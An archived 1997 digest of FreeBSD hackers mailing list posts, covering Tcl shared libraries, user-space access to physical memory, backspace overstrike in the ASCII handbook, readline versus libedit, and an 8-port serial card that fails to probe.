hackers-outgoing; Sun, 22 Jun 1997 19:00:39 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA04227 for ; Sun, 22 Jun 1997 19:00:25 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA14097; Mon, 23 Jun 1997 11:29:57 +0930 (CST) From: Michael Smith Message-Id: <199706230159.LAA14097@genesis.atrad.adelaide.edu.au> Subject: Re: Tcl loadable packages In-Reply-To: from Narvi at "Jun 22, 97 09:55:17 pm" To: narvi@haldjas.folklore.ee (Narvi) Date: Mon, 23 Jun 1997 11:29:57 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Narvi stands accused of saying: > > If one was to make a port of tcl loadable package, how would one > go about it? > > Well, I know I have to make a shared library. How am I to name it > - the original makefile, that does not work on FreeBSD tries to > just make a xxxx.so file. There are a couple of approaches. You can hack the Makefile to build shared libraries the BSD way, or you can write a replacement Makefile that uses bsd.lib.mk. Looking at the latter will at least make it clear how shared libraries are made, and let you name it appropriately. > Where am I to install it? /usr/local/lib is probably as good a place as any. If it has support scripts, I'd suggest putting them in /usr/local/libdata/... -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 19:09:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA04721 for hackers-outgoing; Sun, 22 Jun 1997 19:09:29 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA04715 for ; Sun, 22 Jun 1997 19:09:19 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA14132; Mon, 23 Jun 1997 11:39:08 +0930 (CST) From: Michael Smith Message-Id: <199706230209.LAA14132@genesis.atrad.adelaide.edu.au> Subject: Re: direct access In-Reply-To: from Steve Howe at "Jun 22, 97 03:43:36 pm" To: un_x@anchorage.net (Steve Howe) Date: Mon, 23 Jun 1997 11:39:07 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > i wanted to port a hex/block editor from DOS. This is not a very useful thing to do. There are several quite good hex editors already in the ports collection. I use 'beav' more often than not. > it can read/write 1 RAM blocks > 2 Port Addresses > 3 Hard/Floppy Drives > 4 Files A user process on any Unix system cannot easily edit 1, 2 or 3. > > however, i am finding even simple things like ... > ///////////////////////////////////////////////// > int main (void) { > > unsigned char * p = (unsigned char *)0x000b8000; > > while ( 1 ) { printf("%c", *p++); getch(); } return 0; > } > ///////////////////////////////////////////////// > where i try to read the CGA/VGA screen, bomb with > "segmentation violation" errors. > > is the kernel examining op codes on the run, or what? No. You need to come to grips with the difference between physical and virtual addressing. Your process runs in a "virtual" address space, where the virtual address 0x000b8000 may be mapped to some physical address (but probably isn't). You cannot directly access the physical address 0x000b8000. This virtual:physical mapping provides numerous benefits - processes can be moved around in memory with impunity simply by changing their mappings and copying the physical pages. The mapping process also allows for virtual addresses not to be mapped to a physical address, and when an access occurs, the kernel catches the trap and can take such steps as copying the page in from disk, or performing a mapping as required. > is it at all possible to write Device editors? What is a "device editor"? You don't want to edit display memory; that will make the console driver unhappy. With the appropriate level of privilege you can use a binary editor on the disk devices in /dev and thus edit raw disk data. "editing" device ports doesn't seem to be terribly useful to me. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 19:23:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA05409 for hackers-outgoing; Sun, 22 Jun 1997 19:23:59 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA05403 for ; Sun, 22 Jun 1997 19:23:55 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id TAA18092; Sun, 22 Jun 1997 19:23:43 -0700 (PDT) Date: Sun, 22 Jun 1997 19:23:43 -0700 (PDT) From: Annelise Anderson To: Brian Somers cc: "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: <199706222158.WAA09144@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Brian Somers wrote: > Sorry - handbook.ascii is already generated. I was being > stupid. I can appreciate that some people have problems with > latin - DOS/Win stuff won't grok the ^Hs. I just didn't realize > that .ascii is already there - despite being in that code only > a few weeks ago. Well, I'll try this once more. I think what's happening is that whatever generates handbook.ascii is broken. It is indeed generated; it's put on the server; it gets downloaded, and this is the result: FFrreeeeBBSSDD HHaannddbbooookk The FreeBSD Documentation Project May 1997 AAbbssttrraacctt Welcome to FreeBSD! This handbook covers the installation and day to day use of FFrreeeeBBSSDD RReelleeaassee 22..22..22. This manual is a wwoo rrkk iinn pprrooggrreessss [...] also be downloaded in plain text, postscript or HTML from the FreeBSD FTP server2 or one of the numerous _m_i_r_r_o_r _s_i_t_e_s (section 23.2, The various suggestions to repair this text, such as piping it through col -b, running little sed scripts, and so forth are inappropriate from the point of view that this document (and the FAQ, which has the same problems) are supposed to be useful to people running dos/Windows as well as people who may not yet be familiar with various unix utilities. But these suggestions also seem to be in error, because the downloaded handbook.ascii doesn't have any ^H codes or any other codes in it; it's what I would call hard-coded just as it appears above. Doing substitutions for ^H or running it though col -b have no effect on it whatsoever. Thus, the code that generates handbook.ascii is broken, right? Annelise From owner-freebsd-hackers Sun Jun 22 19:35:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA05958 for hackers-outgoing; Sun, 22 Jun 1997 19:35:48 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA05950 for ; Sun, 22 Jun 1997 19:35:44 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA14365 for hackers@freebsd.org; Mon, 23 Jun 1997 12:05:41 +0930 (CST) From: Michael Smith Message-Id: <199706230235.MAA14365@genesis.atrad.adelaide.edu.au> Subject: use of readline() To: hackers@freebsd.org Date: Mon, 23 Jun 1997 12:05:40 +0930 (CST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Seeing as we have readline() in the tree, would anyone explode violently if it were used generally for reading user input in the case of programs like lpc(8), cdcontrol(1), etc? We also have libedit, however it's significantly more intrusive in terms of usage. If readline() was riotously unpopular, this would possibly be a workable alternative. Does anyone actually use libedit for anything? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 19:47:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA06353 for hackers-outgoing; Sun, 22 Jun 1997 19:47:58 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA06348 for ; Sun, 22 Jun 1997 19:47:56 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.5/8.6.12) with SMTP id TAA11566; Sun, 22 Jun 1997 19:43:32 -0700 (PDT) Message-Id: <199706230243.TAA11566@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Michael Smith Cc: hackers@freebsd.org Subject: Re: use of readline() Reply-To: Jason Thorpe From: Jason Thorpe Date: Sun, 22 Jun 1997 19:43:30 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997 12:05:40 +0930 (CST) Michael Smith wrote: > We also have libedit, however it's significantly more intrusive in terms > of usage. If readline() was riotously unpopular, this would possibly > be a workable alternative. > > Does anyone actually use libedit for anything? We've made use of libedit in NetBSD because it's not GPL'd... and, the author of libedit is a NetBSD Core member :-) Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-hackers Sun Jun 22 19:54:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA06713 for hackers-outgoing; Sun, 22 Jun 1997 19:54:51 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA06703 for ; Sun, 22 Jun 1997 19:54:46 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA14549; Mon, 23 Jun 1997 12:24:20 +0930 (CST) From: Michael Smith Message-Id: <199706230254.MAA14549@genesis.atrad.adelaide.edu.au> Subject: Re: use of readline() In-Reply-To: <199706230243.TAA11566@lestat.nas.nasa.gov> from Jason Thorpe at "Jun 22, 97 07:43:30 pm" To: thorpej@nas.nasa.gov Date: Mon, 23 Jun 1997 12:24:20 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jason Thorpe stands accused of saying: > On Mon, 23 Jun 1997 12:05:40 +0930 (CST) > Michael Smith wrote: > > > We also have libedit, however it's significantly more intrusive in terms > > of usage. If readline() was riotously unpopular, this would possibly > > be a workable alternative. > > > > Does anyone actually use libedit for anything? > > We've made use of libedit in NetBSD because it's not GPL'd... and, the > author of libedit is a NetBSD Core member :-) Could the author, or a regular user, of libedit comment on how it might be possible to reduce the spastic amount (code-wise) of overhead required for its use? Is there a straightforward initialisation function that does sensible things such as picking the mode and history size from the environment, allocates the history buffer, etc rather than requiring every consuming application to reinvent the wheel? If not, would said author consent to such a function being added to the library in order to achieve such a goal? This is the only reason that I suggested readline; with the latter all you do is call the sod. > Jason R. Thorpe thorpej@nas.nasa.gov -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 20:11:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA07495 for hackers-outgoing; Sun, 22 Jun 1997 20:11:25 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA07490 for ; Sun, 22 Jun 1997 20:11:23 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.5/8.6.12) with SMTP id UAA11830; Sun, 22 Jun 1997 20:07:08 -0700 (PDT) Message-Id: <199706230307.UAA11830@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Michael Smith Cc: hackers@freebsd.org Subject: Re: use of readline() Reply-To: Jason Thorpe From: Jason Thorpe Date: Sun, 22 Jun 1997 20:07:06 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997 12:24:20 +0930 (CST) Michael Smith wrote: > Could the author, or a regular user, of libedit comment on how it > might be possible to reduce the spastic amount (code-wise) of overhead > required for its use? Is there a straightforward initialisation > function that does sensible things such as picking the mode and > history size from the environment, allocates the history buffer, etc > rather than requiring every consuming application to reinvent the > wheel? Christos Zoulas is the author. The person who has done the most work on/with it recently is Luke Mewburn . You might want to ask them. > If not, would said author consent to such a function being added to the > library in order to achieve such a goal? "See above." :-) Most recently, Luke has converted our (NetBSD's :-) ftp(1) to use libedit... it has history, and context-sensitive command and local/remote filename completion. It's darn cool :-) Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-hackers Sun Jun 22 20:18:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA07836 for hackers-outgoing; Sun, 22 Jun 1997 20:18:42 -0700 (PDT) Received: from ridge.spiritone.com (ridge.spiritone.com [205.139.108.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA07795 for ; Sun, 22 Jun 1997 20:16:17 -0700 (PDT) Received: from joes.users.spiritone.com (joes.users.spiritone.com [205.139.111.224]) by ridge.spiritone.com (8.8.5/8.8.5) with ESMTP id UAA30340; Sun, 22 Jun 1997 20:15:37 -0700 (PDT) Received: (from joes@localhost) by joes.users.spiritone.com (8.8.5/8.8.5) id UAA05119; Sun, 22 Jun 1997 20:15:30 -0700 (PDT) From: Joseph Stein Message-Id: <199706230315.UAA05119@joes.users.spiritone.com> Subject: Re: Handbook - ascii form?? In-Reply-To: from Annelise Anderson at "Jun 22, 97 07:23:43 pm" To: andrsn@andrsn.stanford.edu (Annelise Anderson) Date: Sun, 22 Jun 1997 20:15:29 -0700 (PDT) Cc: freebsd-hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > FFrreeeeBBSSDD HHaannddbbooookk which is exactly what will happen on a non-conforming printer that does not understand how to interpret a 'DEL' character (ascii 008 or ^H) > The various suggestions to repair this text, such as piping it through > col -b, running little sed scripts, and so forth are inappropriate from > the point of view that this document (and the FAQ, which has the same > problems) are supposed to be useful to people running dos/Windows as well > as people who may not yet be familiar with various Unix utilities. But, have you tried those suggestions? Try outputting the file to a line printer and see if your results are any better. These files ARE straight ascii text. They are designed for overstrike to emphasize certain portions or underline them without using printer-specific control characters. Laser-jet printers (in my opinion) are notorious for not interpreting ASCII 008 correctly. > But these suggestions also seem to be in error, because the down-loaded > handbook.ascii doesn't have any ^H codes or any other codes in it; it's > what I would call hard-coded just as it appears above. Doing > substitutions for ^H or running it though col -b have no effect on it > whatsoever. Yes, they do... > Thus, the code that generates handbook.ascii is broken, right? No. The code that generates the files is one hundred percent okay. It's flaky hardware (or in the case of Micro$loth, buggy software). From owner-freebsd-hackers Sun Jun 22 20:18:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA07856 for hackers-outgoing; Sun, 22 Jun 1997 20:18:53 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA07831 for ; Sun, 22 Jun 1997 20:18:39 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA14717; Mon, 23 Jun 1997 12:48:26 +0930 (CST) From: Michael Smith Message-Id: <199706230318.MAA14717@genesis.atrad.adelaide.edu.au> Subject: Re: use of readline() In-Reply-To: <199706230307.UAA11830@lestat.nas.nasa.gov> from Jason Thorpe at "Jun 22, 97 08:07:06 pm" To: thorpej@nas.nasa.gov Date: Mon, 23 Jun 1997 12:48:25 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jason Thorpe stands accused of saying: > On Mon, 23 Jun 1997 12:24:20 +0930 (CST) > Michael Smith wrote: > > > Could the author, or a regular user, of libedit comment on how it > > might be possible to reduce the spastic amount (code-wise) of overhead > > required for its use? Is there a straightforward initialisation > > function that does sensible things such as picking the mode and > > history size from the environment, allocates the history buffer, etc > > rather than requiring every consuming application to reinvent the > > wheel? > > Christos Zoulas is the author. The person who > has done the most work on/with it recently is Luke Mewburn . > > You might want to ask them. Done. Luke/Christos; do you have any commentary? Do you see there being a use for a "standard" behaviour for libedit-enabled programs wrt. this? > Most recently, Luke has converted our (NetBSD's :-) ftp(1) to use libedit... > it has history, and context-sensitive command and local/remote filename > completion. It's darn cool :-) I've noticed; though I'm too quiet about it, I'm still tracking -current on my HP (mostly, waiting for you to extract the digit and get the Domain keyboard support stuff into the mainstream kernel so I don't have to keep hacking it 8) As with the extent manager (still tinkering there too 8), there's lots of nice functionality-level stuff I'd like to see come across. > Jason R. Thorpe thorpej@nas.nasa.gov -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 20:20:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA08072 for hackers-outgoing; Sun, 22 Jun 1997 20:20:13 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA08063 for ; Sun, 22 Jun 1997 20:20:08 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id XAA10375; Sun, 22 Jun 1997 23:20:05 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id XAA08936; Sun, 22 Jun 1997 23:20:03 -0400 Date: Sun, 22 Jun 1997 23:19:51 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Ben Black cc: Steve Howe , freebsd-hackers Subject: Re: direct access In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Ben Black wrote: > DOS isn't a toy OS. it's a bootloader. I don't think I mind be corrected like that, at all ;-> > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Jun 22 20:38:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA08838 for hackers-outgoing; Sun, 22 Jun 1997 20:38:16 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA08829 for ; Sun, 22 Jun 1997 20:38:13 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id XAA12026; Sun, 22 Jun 1997 23:37:50 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id XAA09192; Sun, 22 Jun 1997 23:37:48 -0400 Date: Sun, 22 Jun 1997 23:37:36 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Annelise Anderson cc: Brian Somers , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Annelise Anderson wrote: > > > On Sun, 22 Jun 1997, Brian Somers wrote: > > > Sorry - handbook.ascii is already generated. I was being > > stupid. I can appreciate that some people have problems with > > latin - DOS/Win stuff won't grok the ^Hs. I just didn't realize > > that .ascii is already there - despite being in that code only > > a few weeks ago. > > Well, I'll try this once more. > > I think what's happening is that whatever generates handbook.ascii > is broken. It is indeed generated; it's put on the server; it gets > downloaded, and this is the result: > > FFrreeeeBBSSDD HHaannddbbooookk > > The FreeBSD Documentation Project > > May 1997 > > AAbbssttrraacctt > > Welcome to FreeBSD! This handbook covers the installation and day to > day use of FFrreeeeBBSSDD RReelleeaassee 22..22..22. This manual is a wwoo > rrkk iinn pprrooggrreessss > [...] > also be downloaded in plain text, postscript or HTML from the FreeBSD > FTP server2 or one of the numerous _m_i_r_r_o_r _s_i_t_e_s (section 23.2, > > The various suggestions to repair this text, such as piping it through > col -b, running little sed scripts, and so forth are inappropriate from > the point of view that this document (and the FAQ, which has the same > problems) are supposed to be useful to people running dos/Windows as well > as people who may not yet be familiar with various unix utilities. > > But these suggestions also seem to be in error, because the downloaded > handbook.ascii doesn't have any ^H codes or any other codes in it; it's > what I would call hard-coded just as it appears above. Doing > substitutions for ^H or running it though col -b have no effect on it > whatsoever. > > Thus, the code that generates handbook.ascii is broken, right? sed -e "s/.^v^H//g" < handbook.ascii.orig > handbook.ascii groff does that to sorta fake the underlining and boldfacing. ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Jun 22 21:07:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA09899 for hackers-outgoing; Sun, 22 Jun 1997 21:07:38 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA09892; Sun, 22 Jun 1997 21:07:21 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id OAA29544; Mon, 23 Jun 1997 14:07:05 +1000 (EST) Date: Mon, 23 Jun 1997 14:07:03 +1000 (EST) From: "Daniel O'Callaghan" To: freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org, sdudley@byterunner.com Subject: TC-800 hi speed 8-port serial card Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I have a TC-800 8 port serial card from ByteRunner (www.byterunner.com). It is a 16550-based card which supports shared interrupts, and has an IRQ-status register "for UNIX compatibility and faster IRQ response". The ByteRunner web site has a link to the serial ports section of the FreeBSD handbook (2.1.0 version!!!) rather than explicit instructions for installing with FreeBSD. I already have AST/4 clones running happily on my system. I configured a kernel with COM_MULTIPORT and 8 ports tied together as for the AST/4. I added the "verbose" bit to the flags. None of the sio devices was recognised, and the probe failed at "test 3", which looks like the IRQ test in sio.c. I also tried a Bocaboard-8 kernel configuration, again to no avail. There are two modes for the card - standard and "Unix". The Unix mode has an 8 byte chunk of memory mapped for and "Interrupt vector", usually, but not always, located immediately after the port 7 address. Sio(4) man page does not seem to handle this other than by saying "only AST/4 control registers are handled." Has anyone managed to get one of these cards working under FreeBSD? At A$21 per port, they would be very nice to get going. Thanks, Danny /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Sun Jun 22 21:11:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA10163 for hackers-outgoing; Sun, 22 Jun 1997 21:11:19 -0700 (PDT) Received: from ridge.spiritone.com (ridge.spiritone.com [205.139.108.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA10156 for ; Sun, 22 Jun 1997 21:11:14 -0700 (PDT) Received: from joes.users.spiritone.com (joes.users.spiritone.com [205.139.111.224]) by ridge.spiritone.com (8.8.5/8.8.5) with ESMTP id VAA27911 for ; Sun, 22 Jun 1997 21:10:13 -0700 (PDT) Received: (from joes@localhost) by joes.users.spiritone.com (8.8.5/8.8.5) id VAA00397 for FreeBSD-hackers@FreeBSD.org; Sun, 22 Jun 1997 21:10:13 -0700 (PDT) From: Joseph Stein Message-Id: <199706230410.VAA00397@joes.users.spiritone.com> Subject: Re: Handbook - ascii form?? In-Reply-To: <199706230315.UAA05119@joes.users.spiritone.com> from Joseph Stein at "Jun 22, 97 08:15:29 pm" To: joes@spiritone.com (Joseph Stein) Date: Sun, 22 Jun 1997 21:09:30 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > not understand how to interpret a 'DEL' character (ascii 008 or ^H) ^^^ Forgive me, that should say 'BS'. That's what I get for thinking about something after a nap ;) joe From owner-freebsd-hackers Sun Jun 22 22:23:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA12602 for hackers-outgoing; Sun, 22 Jun 1997 22:23:45 -0700 (PDT) Received: from aak.anchorage.net (ai-132.anchorage.net [207.14.72.132]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA12595 for ; Sun, 22 Jun 1997 22:23:39 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id VAA19476 for ; Sun, 22 Jun 1997 21:12:18 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Sun, 22 Jun 1997 21:12:17 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net cc: freebsd-hackers Subject: Re: direct access In-Reply-To: <199706230209.LAA14132@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > i wanted to port a hex/block editor from DOS. > This is not a very useful thing to do. There are several quite good hex > editors already in the ports collection. I use 'beav' more often than hehe! it's useful to me, hehe, it's mine! and i like it! :) > > it can read/write 1 RAM blocks > > 2 Port Addresses > > 3 Hard/Floppy Drives > > 4 Files > A user process on any Unix system cannot easily edit 1, 2 or 3. that's what i'm finding out. but i want all the direct access and speed i can get. how low-level can i get? i'd like the "driver" level. is there specific documentation (other than source) about it? what's /dev/io all about? i have all the libraries i need for coding, all i need is a few simple low-level i/o routines moved to UN*X, namely VGA-i/o, RAM-i/o, PORT-i/o, and DISK-i/o. for example, i need char i/o to the vga screen. i need to put a colored char on the screen at a fixed position, and read the color and char at a position. thanks to r.nordier, i got ncurses going, but it is too slow - i have to "refresh" too often. i want access to the lowest level. my code already exixt, except at the lowest level of i/o. i have alot of hardware diagnostics i would like to run on my freebsd boxes. > > unsigned char * p = (unsigned char *)0x000b8000; > You cannot directly access the physical address 0x000b8000. is that an absolute? no peek-ing or poke-ing ... at all? > This virtual:physical mapping provides numerous benefits - processes > can be moved around in memory with impunity simply by changing their > mappings and copying the physical pages. The mapping process also > allows for virtual addresses not to be mapped to a physical address, > and when an access occurs, the kernel catches the trap and can take > such steps as copying the page in from disk, or performing a mapping > as required. > What is a "device editor"? hehe. something that allows you to perform visual i/o on any device in a system - ? :) > You don't want to edit display memory; that will make the console > driver unhappy. With the appropriate level of privilege you can use a > binary editor on the disk devices in /dev and thus edit raw disk data. > "editing" device ports doesn't seem to be terribly useful to me. as far as ram goes, i like to watch whats going on in physical ram to learn about systems. as far as drives go, file recovery - searching for deleted HD data, which i desperatley need, as far as ports go, the code i'd like to port, detects and debugs certain devices. > ]] Mike 